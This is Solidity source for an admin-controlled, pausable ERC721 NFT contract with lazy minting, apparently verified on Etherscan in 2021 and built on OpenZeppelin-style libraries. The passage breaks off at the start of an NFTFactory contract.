/** *Submitted for verification at Etherscan.io on 2021-12-28 */ pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.3.3 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File contracts/ERC721.sol pragma solidity ^0.8.4; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { event OwnershipTransferred(address indexed previousAdmin, address indexed newAdmin); using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; address private _admin; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (address admin_, string memory name_, string memory symbol_) { _admin = admin_; _name = name_; _symbol = symbol_; } modifier onlyAdmin() { require(msg.sender == _admin, "Restricted to admin"); _; } function transferOwnership(address newAdmin) external onlyAdmin { require(newAdmin != address(0), "ERC721: new admin is the zero address"); require(newAdmin != _admin, "ERC721: same admin"); _setAdmin(newAdmin); } function _setAdmin(address newAdmin) private { address oldAdmin = _admin; _admin = newAdmin; emit OwnershipTransferred(oldAdmin, newAdmin); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. * return magic balance value if is admin user */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. * return admin user address is not mint yet. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; if (owner == address(0)) { return _admin; } return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * return admin user; */ function admin() public view virtual returns (address) { return _admin; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { require(_exists(tokenId), "ERC721: approve for nonexistent token"); address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner or approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. * if msg.sender is admin, mint before transfer */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { _mintIfNotExist(tokenId); //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. * if msg.sender is admin, mint before transfer */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { _mintIfNotExist(tokenId); require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _mintForAdmin(address to, uint256 tokenId) private { _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { require(_exists(tokenId), "ERC721: burn nonexistent token"); address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * mint if msg.sender is admin && tokenId not mint. */ function _mintIfNotExist(uint256 tokenId) private { if (msg.sender == _admin) { if (!_exists(tokenId)) { _mintForAdmin(_admin, tokenId); } } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File contracts/ERC721Enumerable.sol pragma solidity ^0.8.4; abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File contracts/NFT.sol pragma solidity ^0.8.4; contract NFT is ERC721Enumerable, Pausable { using Strings for uint256; string private baseURI; constructor( address admin_, string memory baseURI_, string memory name_, string memory symbol_ ) ERC721(admin_, name_, symbol_) { baseURI = string(abi.encodePacked(baseURI_, symbol_, "/")); } function _baseURI() internal view override returns (string memory) { return baseURI; } /** * override tokenURI(uint256), remove restrict for tokenId exist. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { return string(abi.encodePacked(baseURI, tokenId.toString())); } function setPause() external onlyAdmin { _pause(); } function unsetPause() external onlyAdmin { _unpause(); } function changeBaseURI(string memory newBaseURI) external onlyAdmin { string memory symbol_ = symbol(); baseURI = string(abi.encodePacked(newBaseURI, symbol_, "/")); } /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { require(!paused(), "ERC721Pausable: token transfer while paused"); super._beforeTokenTransfer(from, to, tokenId); } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File contracts/NFTFactory.sol pragma solidity ^0.8.4; contract NFTFactory { event 